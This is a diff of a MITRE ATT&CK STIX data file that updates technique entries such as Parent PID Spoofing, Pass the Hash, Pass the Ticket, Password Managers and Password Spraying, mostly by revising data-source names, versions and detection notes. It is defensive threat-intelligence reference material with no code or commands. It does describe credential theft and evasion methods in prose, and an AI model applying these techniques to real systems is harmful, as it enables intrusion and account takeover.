"attack-pattern", "kill_chain_phases": [ @@ -21362,7 +22574,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:22:21.135Z", + "modified": "2021-04-15T03:15:21.193Z", "created": "2020-10-01T01:56:24.776Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", "x_mitre_version": "1.0", @@ -21419,9 +22631,9 @@ "Windows" ], "x_mitre_data_sources": [ - "Loaded DLLs", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.", "x_mitre_defense_bypassed": [ @@ -21499,11 +22711,14 @@ "Ricardo Dias" ], "x_mitre_data_sources": [ - "Mail server", - "Process monitoring", - "Process command-line parameters", - "Windows Registry", - "File monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification", + "Module: Module Load", + "Application Log: Application Log Content" ], "x_mitre_detection": "Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nMany Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page)\n\nMicrosoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)", "x_mitre_permissions_required": [ @@ -21582,10 +22797,12 @@ ], "x_mitre_detection": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) Modification to base templates, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.(Citation: GlobalDotName Jun 2019)", "x_mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters", - "File monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification" ], "x_mitre_platforms": [ "Windows", @@ -21637,12 +22854,13 @@ ], "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.", "x_mitre_data_sources": [ - "DLL monitoring", - "Loaded DLLs", - "Process monitoring", - "Process command-line parameters", - "File monitoring", - "Windows Registry" + "Process: Process Creation", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "File: File Creation", + "File: File Modification", + "Module: Module Load" ], "x_mitre_platforms": [ "Windows", @@ -21685,11 +22903,9 @@ ], "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture", - "SSL/TLS inspection" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Connection Creation" ], "x_mitre_platforms": [ "Linux", @@ -21744,9 +22960,9 @@ ], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_data_sources": [ - "Mail server", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Application Log: Application Log Content" ], "x_mitre_platforms": [ "Windows", @@ -21800,9 +23016,9 @@ ], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_data_sources": [ - "Mail server", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Application Log: Application Log Content" ], "x_mitre_platforms": [ "Windows", @@ -21856,9 +23072,9 @@ ], "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.", "x_mitre_data_sources": [ - "Mail server", - "Process monitoring", - "Process command-line parameters" + "Process: Process Creation", + "Command: Command Execution", + "Application Log: Application Log Content" ], "x_mitre_platforms": [ "Windows", @@ -21963,7 +23179,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Parent PID Spoofing", - "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", + "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "id": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "type": "attack-pattern", "kill_chain_phases": [ @@ -21976,7 +23192,7 @@ "phase_name": "privilege-escalation" } ], - "modified": "2020-04-16T19:37:02.030Z", + "modified": "2021-02-09T14:11:20.296Z", "created": "2020-02-18T18:22:41.448Z", "x_mitre_contributors": [ "Wayne Silva, F-Secure Countercept" @@ -21993,9 +23209,9 @@ ], "x_mitre_detection": "Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.", "x_mitre_data_sources": [ - "API monitoring", - "Process monitoring", - "Windows event logs" + "Process: OS API Execution", + "Process: Process Creation", + "Process: Process Metadata" ], "x_mitre_platforms": [ "Windows" @@ -22039,9 +23255,9 @@ "url": "https://capec.mitre.org/data/definitions/644.html" }, { - "source_name": "NSA Spotting", - "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.", - "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm" + "source_name": "Stealthbits Overpass-the-Hash", + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021." } ], "object_marking_refs": [ @@ -22049,7 +23265,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Pass the Hash", - "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.(Citation: NSA Spotting)", + "description": "Adversaries may \u201cpass the hash\u201d using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)", "id": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", "type": "attack-pattern", "kill_chain_phases": [ @@ -22062,18 +23278,21 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-03-23T16:24:34.766Z", + "modified": "2021-03-15T21:04:33.228Z", "created": "2020-01-30T16:36:51.184Z", "x_mitre_defense_bypassed": [ "System Access Controls" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, - "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.", + "x_mitre_detection": "Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nEvent ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)", "x_mitre_data_sources": [ - "Authentication logs" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Credential Request" ], "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", "Travis Smith, Tripwire" ], "x_mitre_platforms": [ @@ -22147,6 +23366,11 @@ "description": "Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.", "source_name": "Campbell 2014" }, + { + "source_name": "Stealthbits Overpass-the-Hash", + "url": "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/", + "description": "Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021." + }, { "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.", @@ -22158,7 +23382,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Pass the Ticket", - "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\n[Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\n[Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)", + "description": "Adversaries may \u201cpass the ticket\u201d using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)\n\nA [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)\n\nA [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)", "id": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "type": "attack-pattern", "kill_chain_phases": [ @@ -22171,19 +23395,21 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-03-12T17:03:16.122Z", + "modified": "2021-03-15T21:42:11.839Z", "created": "2020-01-30T17:03:43.072Z", "x_mitre_defense_bypassed": [ "System Access Controls" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_system_requirements": [ "Kerberos authentication enabled" ], "x_mitre_detection": "Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.(Citation: CERT-EU Golden Ticket Protection)", "x_mitre_data_sources": [ - "Authentication logs" + "User Account: User Account Authentication", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Credential Request" ], "x_mitre_contributors": [ "Vincent Le Toux", @@ -22228,8 +23454,8 @@ "modified": "2020-09-16T15:39:59.041Z", "created": "2020-02-11T18:38:56.197Z", "x_mitre_data_sources": [ - "Authentication logs", - "Office 365 account logs" + "User Account: User Account Authentication", + "Application Log: Application Log Content" ], "x_mitre_permissions_required": [ "User" @@ -22304,13 +23530,18 @@ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" } ], - "modified": "2020-03-25T20:59:05.209Z", + "modified": "2021-04-20T20:11:55.147Z", "created": "2020-02-11T19:05:45.829Z", "x_mitre_data_sources": [ - "File monitoring", - "DLL monitoring" + "File: File Creation", + "Module: Module Load", + "Windows Registry: Windows Registry Key Modification" ], "x_mitre_contributors": [ "Vincent Le Toux" @@ -22320,7 +23551,7 @@ "SYSTEM" ], "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)", - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Windows" @@ -22341,7 +23572,7 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" }, { "source_name": "US-CERT TA18-068A 2018", @@ -22363,31 +23594,101 @@ "phase_name": "credential-access" } ], - "modified": "2020-10-19T22:43:45.126Z", + "modified": "2021-04-21T16:41:35.269Z", "created": "2020-02-11T18:38:22.617Z", "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)" ], "x_mitre_data_sources": [ - "Authentication logs", - "Office 365 account logs" + "User Account: User Account Authentication", + "Application Log: Application Log Content" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials.", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1555.005", + "url": "https://attack.mitre.org/techniques/T1555/005" + }, + { + "source_name": "ise Password Manager February 2019", + "url": "https://www.ise.io/casestudies/password-manager-hacking/", + "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021." + }, + { + "source_name": "FoxIT Wocao December 2019", + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020." + }, + { + "source_name": "Github KeeThief", + "url": "https://github.com/GhostPack/KeeThief", + "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021." + }, + { + "source_name": "NVD CVE-2019-3610", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610", + "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021." + }, + { + "source_name": "Cyberreason Anchor December 2019", + "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", + "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Password Managers", + "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)", + "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "modified": "2021-04-14T19:15:22.416Z", + "created": "2021-01-22T16:08:40.629Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.", + "x_mitre_data_sources": [ + "Process: OS API Execution", + "File: File Access", + "Process: Process Access", + "Command: Command Execution" + ], + "x_mitre_contributors": [ + "Matt Burrough, @mattburrough, Microsoft" + ], "x_mitre_platforms": [ "Linux", "macOS", - "Windows", - "Office 365", - "GCP", - "Azure AD", - "AWS", - "Azure", - "SaaS" + "Windows" ] }, { @@ -22435,8 +23736,8 @@ ], "x_mitre_detection": "Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_contributors": [ "Sudhanshu Chauhan, @Sudhanshu_C" @@ -22485,28 +23786,28 @@ "phase_name": "credential-access" } ], - "modified": "2020-10-19T22:43:45.579Z", + "modified": "2021-04-06T12:32:47.678Z", "created": "2020-02-11T18:39:25.122Z", "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace", + "Containers" ], "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.\n\nConsider the following event IDs:(Citation: Trimarc Detecting Password Spraying)\n\n* Domain Controllers: \"Audit Logon\" (Success & Failure) for event ID 4625.\n* Domain Controllers: \"Audit Kerberos Authentication Service\" (Success & Failure) for event ID 4771.\n* All systems: \"Audit Logon\" (Success & Failure) for event ID 4648.", "x_mitre_permissions_required": [ "User" ], "x_mitre_data_sources": [ - "Authentication logs", - "Office 365 account logs" + "User Account: User Account Authentication", + "Application Log: Application Log Content" ], "x_mitre_contributors": [ "Microsoft Threat Intelligence Center (MSTIC)", @@ -22579,9 +23880,7 @@ ], "x_mitre_detection": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not. Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory. If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)", "x_mitre_data_sources": [ - "Network device run-time memory", - "Network device configuration", - "File monitoring" + "File: File Modification" ], "x_mitre_platforms": [ "Network" @@ -22684,10 +23983,6 @@ "x_mitre_contributors": [ "Stefan Kanthak" ], - "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], "x_mitre_version": "1.0", "x_mitre_deprecated": true }, @@ -22740,8 +24035,9 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_contributors": [ "Stefan Kanthak" @@ -22814,8 +24110,9 @@ "Stefan Kanthak" ], "x_mitre_data_sources": [ - "Process monitoring", - "File monitoring" + "File: File Creation", + "File: File Modification", + "Process: Process Creation" ], "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n", "x_mitre_permissions_required": [ @@ -22892,8 +24189,9 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and 